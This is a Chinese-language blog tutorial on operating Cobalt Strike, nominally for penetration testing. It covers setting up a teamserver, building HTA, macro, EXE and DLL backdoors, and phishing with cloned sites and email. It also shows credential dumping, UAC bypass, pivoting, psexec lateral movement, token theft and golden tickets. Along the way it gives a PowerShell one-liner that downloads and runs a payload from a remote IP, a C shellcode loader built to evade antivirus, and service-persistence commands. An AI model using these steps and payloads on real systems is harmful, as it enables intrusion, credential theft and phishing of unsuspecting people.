boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

CS(CobaltStrike)


avatar
yuhui 2025年10月24日 84

CS(Cobalt Strike)

介绍

CS 啥一款基于 Java 的渗透测试工具,分为客户端和服务端,客户端有多个,适合团队协同作战,多个攻击者可以同事连接一个团队服务器共享攻击资源与目标信息和 session,模拟 APT 做模拟对抗,进行内网渗透

CS 集成端口转发,服务扫描,自动化溢出,多模式端口监听,win exe 木马生成 win dll 木马生成 java 木马生成 office 宏病毒生成 木马捆绑, 钓鱼攻击(站点克隆,目标信息获取,java 执行,浏览器自动攻击等)

目录结构

agcscript拓展应用的脚本
c2lint检查profile的错误异常
cobaltstrike
cobaltstrike.jat客户端程序
icon.jpg
licese.pdf
readme.txt
releasenotes.txt
teamserver服务端程序
update
update.jar
third-party 第三方工具
  README.vncdll.txt
  vncdll.x64.dll
  vncdll.x86.dll

个人定制

CS 可以使用 AggressorScripts 脚本加强自身,扩展菜单栏,Beacon 命令行,提全脚本等

CS 通信配置文件啥 Malleable C2 可以修改 CS 的通讯特征,Beaconpayload 一些行为

CS 可以尹东其他通讯框架 ExternalC2,允许黑客根据需要对框架提供默认 HTTP(S)/DNS/SMB C2 通信通道进行扩展

启动运行

团队服务器最好运行在 Linux 平台上,服务端关键文件上 teamserver 和 cobalstrike.jar 将这两个文件放在同一目录下运行

执行 sudo ./teamserver

命令说明

./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间
# 启动Team Server
./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录

1746707030250-df038a43-2e93-48d8-928b-5bf19f6f370c.png

如果没有权限运行,使用命令 sudo chmod +x teamserver 设置权限再运行就好了

但是上面命令 一旦窗口关闭了 teamserver就会自动关掉 可以使用nohup 命令设置后台运行

sudo nohup ./teamserver 192.168.0.190 123456 &

1746707085181-bca1f8e6-b6b3-4de5-a9d6-b46a904f65d5.png

默认的监听端口是50055 可以通过修改teamserver里的端口信息 改变默认端口

1746707093402-40d5b917-19f1-431a-83d5-71f5d8d3a9e2.png

使用客户端连接

1746707101800-f95ed04e-0638-4044-8b2c-351689252bec.png

在kali下执行 sudo ./cobaltstrike

1746707110947-a0aa9c2c-b4a3-4ab4-9394-63537651c321.png

第一次连接会有指纹提示

1746707119550-4095c10e-7276-4e33-996f-ade048a7091f.png

成功访问服务端

1746707128392-aeeafe30-b070-4a69-ba76-aabe3f64b2f4.png

客户端每次连接都会自动保存配置文件,可以在偏好设置删除没用的连接信息

1746707148580-79e1efa6-1774-4444-a6a0-3e16ffaef1e2.png

菜单栏翻译

参数详情

New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,
Beacon命令行,提权脚本等
Close # 退出连接
New Connection # 新建连接,支持连接多个服务器端
Preferences # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization # 主要展示输出结果的视图
VPN Interfaces # 设置VPN接口
Listenrs # 创建监听器
Script Manager # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,
Beacon命令行,提权脚本等
Close # 退出连接

Attacks

HTML Application # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各种语言版本的payload
USB/CD AutoPlay # 生成利用自动播放运行的木马文件
Windows Dropper # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable # 生成可执行exe木马
Windows Executable(Stageless) # 生成无状态的可执行exe木马
Manage # 对开启的web服务进行管理
Clone Site # 克隆网站,可以记录受害者提交的数据
Host File # 提供文件下载,可以选择Mime类型
Scripted Web Delivery # 为payload提供web服务以便下载和执行,类似于Metasploit的
web_delivery
Signed Applet Attack # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java
1.7.0_21以下版本(该方法已过时)
System Profiler # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish # 鱼叉钓鱼邮件
Activity Report # 活动报告
Hosts Report # 主机报告
Indicators of Compromise # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5
hashes
Sessions Report # 会话报告
Social Engineering Report # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures # 战术技术及相关程序报告:包括行动对应的每种战术的
检测策略和缓解策略
Reset Data # 重置数据
Export Data # 导出数据,导出.tsv文件格式
Homepage # 官方主页
Support # 技术支持
Arsenal # 开发者
System information # 版本信息
About # 关于

工具栏

1746707272562-52882053-1352-4b7e-bef4-6e25ed74b279.png

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

基础使用

在连接服务端后 首先创建监听器 监听器的 payload 支持多种协议

1746707325076-73569716-35b9-4fe4-a6e5-64b0111f1ec9.png

支持的协议

Beacon DNS
Beacon HTTP
Beacon HTTPS
Beacon SMB
Beacon TCP
External C2
Foreign HTTP
Foreign HTTPS

beacon是cobalt strike的内置监听器 包括dns、http、https、smb四种方式的监听器 foreign为外部监 听器,配合Metasploit或者Armitage的监听器。

地址轮回策略

1746707646654-0ffea875-a3e1-4d84-938b-794f1c431980.png

http地址(stager)这个可以填写ip本身 也可以填写多个域名 但是这个域名解析必须是teamserver的地 址。在dns增加了多条a记录均指向teamserver的ip

1746755167208-6f569b78-b57a-47a1-8874-e3a76aac623f.png

host是teamserver的地址 stager可以填写多个域名 可以使用随机 提供多个域名访问teamserver

1746755176625-7bb9ac82-d445-410d-acd4-6060c26a355d.png

1746755181901-9ea44f8c-71aa-48f2-9404-df384476b7aa.png

使用 攻击 ->生成后门->windows可执行程序 选择好监听器 生成后门

1746755191630-334790ea-9ddc-4f62-8f7c-1b55f4b31a23.png

直接运行后门 cobalt stike 上线

1746755199543-37b1a569-c0cb-4f26-864d-c0378f73c2ed.png

抓包分析

1746755221814-575e1031-562a-43eb-855c-916ed2aad037.png

后门访问 c1.redtam.club:8899 即可 teamserver 10.10.10.141:8899

cobalt strike dns 上线

如果在内网用 防火墙只允许 dns 出网,可以使用 dns 后门上线,在 cs 里面内置 了一个 dns 上线模块

nslookup www.baidu.com 查询dns发现可以出网

1746755254045-e1bb986d-48df-41e1-8132-84c940a98ca1.png

准备域名域名 设置 ns记录 和a记录 并且把ns记录指向a记录

1746755262897-e1896ad3-ef00-4d37-915e-298cb520d5a4.png

在公网的vps里 启动服务器端 并且放在后端执行

nohup ./teamserver 45.114.125.131 QWEasd55aa &

建立dns监听器

1746755279160-8925f891-45cc-4207-8252-466e09cf71ba.png

因为dns的默认端口是53端口 在ubuntu的53端口默认是开启的,如果出现占用情况 先把53端口关闭 Linux systemd-resolve占用53端口的解决方法

https://blog.csdn.net/qq_24924187/article/details/109197505

systemctl stop systemd-resolved

使用web传递

powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://45.114.125.131:80/dns'))"

上线是一个黑色的图标使用命令 checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver) 在beacon支持三种dns执行命令方式 一般使用dns-txt较多

mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon) mode

dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon) mode

dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)

1746755346716-5ab8c52c-1e69-4d7c-a1af-6a9f0ac466de.png

生成后门模块使用

生成后门界面里 有几个模块

1746755360143-996b7510-fd7f-46fc-80a5-80cbc9973cdc.png

hta文档 后门

这里他给我们提供了3种生成方式 exe,powershell,vba。其中VBA方法需要目标系统上的Microsoft Office,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合 host File(文件下载功能) 来实行钓鱼。

1746755386999-343332cc-23cc-4c16-8e62-cfb23a73cc4e.png

hta文件里面执行powershell代码运行后门

1746755396173-d7ceebe8-82cf-4a20-b0f4-09b9bd73f042.png

把hta文件配合网站配合使用

1746755402870-01de55f3-b982-426f-bed4-c08c3447cd68.png

1746755408890-27986524-5071-480b-b7fa-b1b55fe146cd.png

设置好后,当别人访问这个网址的时候 提示下载 受害者下载运行时,就会上线

1746755418865-4d44611a-473b-494f-b2ca-c44268c9a6ba.png

office宏

office宏 将生成的宏文件 放在word文档,当文档可以使用宏时,自动会运行。

1746755433714-142ec1fa-06ab-40b9-8bc8-4c4ccf81dac4.png

1746755436830-5d7bdaa3-8926-4de3-b4d6-597d2d71fb77.png

1746755441981-07fb9005-5e25-4ec1-90de-4c530dd97504.png

输入宏

1746755449303-d06789e7-6583-4a08-b36f-3ab66a9fbe1e.png

选择否 保存为dotm

打开带有宏的文件 自动上线

1746755480350-cd28d5ff-d1bb-4282-80ef-d5714b2022e8.png

payload生成器

cs里 提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器 运行payload 达到免杀的效果

1746755492180-66a72dc5-9f0b-437e-9086-ac51e8e2175a.png

c/c++加载器 使用vs2019编译

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")//不显示
窗口
unsigned char shellcode[] = "xfc..";;
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}

编译记得使用Release模式而不是Debug 生成 否则回出现错误

windows可执行程序 提供三种生成类型

windwos可执行程序 直接双击运行

windwos服务程序 可以使用sc命令做成服务程序

shell sc create "server1" binpath= "C:WINDOWSTempserver1.exe"
shell sc description "server1" "description"
shell sc config "server1" start= auto
shell net start "server1"

1746755530374-3027a290-a6b7-4e4d-a345-2d301eafc8b8.png

执行之后 是system权限,这种方法cs留后门的一种方法

windows dll文件

在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注 册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex 控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载 控件的命令,以命令行方式运行

regsvr32

"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。
其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。
参数有如下意义:
/u——反注册控件(卸载com组建)
/s——不管注册成功与否,均不显示提示框(静默模式,不弹框)
/c——控制台输出
/i——跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自
定义的安装过程,该过程在 DllInstall 中实现。)
/n——不注册控件,此选项必须与/i选项一起使用
Scrobj.dll:com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现

Regsvr32.exe直接调用dll程序

1746755590328-3dab7bab-3055-476e-aaf4-9875ec5ca385.png

c:WindowsSystem32regsvr32.exe C:WindowsTempartifact.dll

1746755599192-0035b21c-cd56-4f95-b818-cd9bab59792f.png

1746755602800-179e2046-79ac-4d09-844b-32fa3d3e83ff.png

windwos可执行程序 (Stageless)

Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行, 而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要 大很多, 而且包含了特征明细

web钓鱼模块

cs提供了钓鱼模块 方便渗透测试人员

Manage 对开启的web服务进行管理;
Clone Site 克隆网站,可以记录受害者提交的数据;
Host File 提供一个文件下载,可以修改Mime信息;
Scripted Web Delivery 类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21
以下版本;
System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等

1746755635762-2e04d6bb-dd6a-4525-a490-7dc05df99f48.png

站点管理 这里主要是cs自带的web服务,访问ip加上端口 则可以访问

克隆网站 这个模块主要的作用 克隆一个网站 发送给受害者 受害者访问的时候 可以收集受害者提交的 信息,同时也可以选择攻击下载文件

1746755649187-f8e6334f-d67c-4586-afa2-ef7f79c6dc27.png

受害者访问 的时候自动弹出下载文件

1746755657423-a99e595a-fbdf-4ada-8eca-8b9952fb2ee1.png

信息模块 这个主要是生成一个页面 让受害者访问 收集受害者的浏览器系统信息

1746755666432-1f6625e4-1db6-4fdf-b718-b54c4927f260.png

访问 http://10.10.10.141:80/baidu 连接后 收集的信息在 web日志查看

1746755678230-27caf7a2-8aac-4d5c-a731-79ecff8786f1.png

邮件钓鱼

首先准备eml的钓鱼模板 这个模板可以在qq邮箱里导出

1746755691462-4555a6d3-b600-4cf4-a8dd-da6bff79391f.png

准备模板后 选择邮箱钓鱼模板

1746755698921-e77a2593-4e7b-48ac-aa72-29f0947810b1.png

点击发送即可 模板上可以看到 url跳转到准备好的url上

Beacon的使用

Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网 络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任 务,然后进入睡眠状态。交互式通信实时发生

1746755724017-858d8bf4-2c3b-493c-8f9d-72a2ece692a3.png

1746755730142-ded2f1f4-0708-4f5f-8c2b-c283e5564a15.png

Command Description
------- -----------
argue   命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel  取消正在下载的文件
cd          跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear   清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp          复制文件
dcsync  从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用
powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新
Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt
Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt
Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件

在Cobalt Strike中它的心跳默认是60s(即sleep时间为60s,每一分钟目标主机与teamserver通信一次), 这会让我们执行命令或进行其他操作响应很慢 一般设置 sleep 5 即可,如果使用socks代理 设置为 sleep 0

在beacon不能直接使用系统命令 想要执行系统命令需要使用 shell 命令

SMB beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从 父Beacon获取到任务并发送 , 因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相 对隐蔽,绕防火墙时可能发挥奇效

SMB beacon的工作流程

1746755837064-1e9d7e0e-38d4-4f98-9be4-1779fd95baaf.png

这种beacon要求具有SMB Beacon的主机必须接受端口445上的连接. 派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的 Listener>上线 或在beacon中使用命令spawn smb(smb为我的smb listener名字)

1746755847477-b8faf5ac-bd14-4d5f-97a1-50a1ed8b415b.png

1746755851782-5c9155f5-d1dc-49c4-97cc-33665f6c1655.png

1746755858041-16e448e8-c528-462b-b822-1837091eb5fa.png

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。 当前是连接状态,你可以Beacon上用link 命令链接他或者unlink 命令断开它。

1746755868177-434b9060-d8ce-401a-9f5d-7f7cc95f298a.png

这种beacon在内网横向渗透中运用的很多,横向渗透留到日后再讲。在内网环境中可以使用ipc $生成的 SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去 连接他。

当前连接12server5 因为密码与12server4相同 dir可以访问 12server5 c盘 可以使用jump psexec64建 立smb beacon

shell dir \10.10.10.139c$ #访问目标c盘
jump psexec64 \10.10.10.139 smb 创建smb连接

1746755887106-755b7cf0-3d4d-41df-a0d8-bd5c2dbbb868.png

1746755890410-39812250-86d5-4248-9fc0-57fcf01f915b.png

截图

可以在beacon里输入命令

1746755904038-247e6f60-ad6a-45b4-845a-321e223b588c.png

1746755907857-d4fa7f73-adfe-47fa-a7af-e870a9560ff1.png

端口扫描

流量探测 端口扫描 选择扫描存活的方式 arp icmp 选择扫描的网卡 也可以指定端口

1746755928932-6e0d6445-a086-4fe3-939b-687b1f9042be.png

在beacon 使用命令 查看后台任务 jobs 关闭任务 jobkill 任务id

1746755936571-e1ceb348-8dfe-49c5-a338-4b2336430dac.png

网络探测

//beacon 提供net命令 以下是这个命令的一些常用方法
beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
命令 描述
------- -----------
computers 列出域中的主机(通过组)
domain 显示该主机的域
dclist 列出域控制器
domain_controllers 列出域控制器(通过组)
domain_trusts 列出域信任
group 列出组中的成员组和成员用户
localgroup 列出本地组中的成员组和成员用户
logons 列出登录到指定主机的用户
sessions 列出指定主机上的会话
share 列出指定主机上的共享
user 列出用户和用户信息
time 显示指定主机上的时间
view 列出域中的主机(通过browser服务)
使用 "help net [命令]" 了解更多信息

查看网络信任主机

1746755975066-d9ee4ab1-3414-4dc0-9962-375f57fc327e.png

列出域控

1746755982275-7e2422a4-6c3e-41b3-b07b-b4158f087c28.png

浏览器代理

先把beacon 简介时间设置为0 sleep 0

先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon 连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好 的效果

然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务

将 agent 程序注入受害机器的 IE 浏览器进程

在团队服务器的一个端口上开启一个 HTTP 代理服务器

1746756016890-ada0a260-386d-4a55-a33e-306853e8c5aa.png

实际上,这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 停止方式 browserpivot stop

如果目标上 登录 某些网站 通过设置浏览器代理后,访问网站即可登录

1746756029060-11d8a860-c2cb-4c79-b419-c5ff432306cf.png

访问目标网站

1746756037666-0b3505b6-e043-4942-bc27-d0ebb29b822f.png

代理转发

socks代理

使用socks代理

在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接 teamserver 192.168.0.195

12server5 192.168.0.188 10.10.10.139

12server4 10.10.10.138

使用cs获取12server5权限 设置socks代理

1746756080754-77c0c223-ae00-4081-9ff7-b51e29ada3a6.png

设置 sudo vi /etc/proxychains4.conf

socks4 192.168.0.195 1080

proxychain 调用nmap 扫描 目标机子

proxychains nmap -sT -Pn 10.10.10.136 -p 445

1746756100687-4a86bd1e-0776-4567-8704-d72577a8d293.png

metasploit 使用这个代理

setg Proxies socks4:192.168.0.195:1080 #设置全局代理
setg ReverseAllowProxy true #允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不
设置此项)

1746756119448-26313279-cbfb-4685-9d6d-8efabec5e148.png

转发上线

转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通 过连接攻陷机器上线

teamserver 192.168.0.195
12server5 192.168.0.188 10.10.10.139

目标机子 10.10.10.136 首先新建监听器 监听器使用当前会话

1746756142514-113a8517-6942-4a9f-9f7a-1d43177d8e94.png

接着生成后门 选择这个rve监听器 在12server4 执行beacon

1746756162793-9b24da2f-2a10-45f2-a4ee-b7cce4a7eb07.png

1746756167073-32d53bcd-5ac8-44a0-b53c-cec8af8a2b50.png

切换视图

1746756172732-70914354-4493-48e0-96bd-2891eed5db33.png

这种方式也可用于多层网段反向上线

VPN部署

为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥 有一个二层网络的tap接口

新建vpn 选择网卡

1746756196767-5cd64561-f07c-48b4-9407-8e145ac4d910.png

在团队服务器中,配置刚刚的 VPN 接口: 先连接到刚刚的 VPN 接口,能找到此设备

在kali上 sudo ifconfig phear7 10.10.10.0/24

1746756207801-9a17b8f7-a293-4e23-9c25-f990557033f1.png

对内网10段进行代码扫描

nmap -sT -Pn 10.10.10.136 -p 445

1746756221533-fcc08eab-423e-45a5-9a37-7250dde814a1.png

回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发

1746756229749-11da862b-cb36-4546-a317-e50e2a999eec.png

会话

Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始, Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限

使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一 个监听器作为其参数

默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话

spwan 会画

也可以使用spwan命令 派生一个会话

spwan
beacon> help spawn
Use: spawn [x86|x64] [监听器]
spawn [监听器]

创建一个x86或x64傀儡进程,并注入运行从 [监听器] 生成的shellcode

1746756294316-e484b06e-6fd2-4763-a39d-9f5a626f5b46.png

注入进程获取会话

1746756305242-66e39725-e1b5-48c3-af0e-eaa063d93afa.png

1746756312388-a31c2e40-63fa-44ea-868e-b07e0405ada5.png

cobalt strike派生会话到msf

当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下

首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 10.10.10.141
lhost => 10.10.10.141
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run

设置cs监听器

1746756337814-5238c668-1cba-4433-93f2-0b959fba4f3a.png

在beacon使用命令 spawn msf 会话会派生到msf里

1746756347261-ed1cdaf6-2b53-4c9e-bfc8-9dd4e9bfd288.png

msf运行后会收到会话

metasploit 派生会话到cs

如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到 Cobaltstrike

首先建立监听器

1746756374983-a8f695a2-0874-4ee7-b94d-f00734e52041.png

在msf种选择 payload_inject 模块 设置参数 disablepayloadhandler 禁止msf监听

use windows/local/payload_inject
set disablepayloadhandler true
set paylaod windows/meterpreter/reverse_http
set lhost 192.168.0.195
set lport 9999
set session 1
exploit

1746756393920-e4a5bdce-c651-4c2a-b936-400d56547b40.png

后渗透

在cs中有一个凭证提权模块

获取hash

1746756407802-5792169e-40e1-495f-8b01-7eff8e9ad368.png

提权

ms14-058/ms15-051/ms16-016/ms16-032 这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成

UAC-DLL

这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用 UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的 未修补版本

uac-token-duplication

这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC 漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令 牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要 求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话

Uac-eventvwr

这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的 A.exe(exp),这个时候他的权限就是高了,成功绕过UAV

Uac-wscript

这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效

提权方式 在网上找好的插件进行提取

1746756452394-b10b01f0-3504-49d2-9fd0-e080913dfb7d.png

获取明文

使用命令 logopasswords获取hash 和明文

1746756463257-cfde6c15-46a6-4ab2-84c1-24fcab8baef8.png

横向渗透

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系 统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用 这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终 可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。 在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

使用 net view 列出信任主机

1746756484783-4e325c9d-a70f-4fe3-bf52-5bb9cf015621.png

psexec横移

在执行端口扫描后 目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动

右键 横向移动 选择合适的模块进行登录

1746756517887-590d7683-162b-42e7-86d3-0df729d07128.png

1746756523467-1c18edae-e48c-4d4c-951b-3a975a2e0a8b.png

选择hash进行登录

1746756530173-0c2f9ccc-a886-4036-8179-a974b9eb319f.png

窃取令牌

使用命令ps 寻找进程 接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可

1746756541945-3665e657-e86e-46df-b1ab-1539bf4ac0ca.png

如果存在域管 也可以获取域管理权限

1746756548692-b2fadcd8-97bc-45a1-b46b-f123392628ae.png

使用命令 rev2self 返回之前的权限

制作令牌

使用make_token命令 将之前获取的 生成一个命令访问目标主机 这里以访问域控为例

beacon> help make_token
Use: make_token [域用户名] [密码]

克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码

make_token redteamadministrator QWEasd123

1746756577469-d9271759-6024-47f8-bde5-6b91d0bc3b4e.png

制作黄金票据

原理

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS 以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的 身份。

所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请 求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个 实现方式。

首先使用命令获取 jump psexec64 ad01 smb 获取ad01的权限 得到权限后 命令 hashdump导出所有 hash

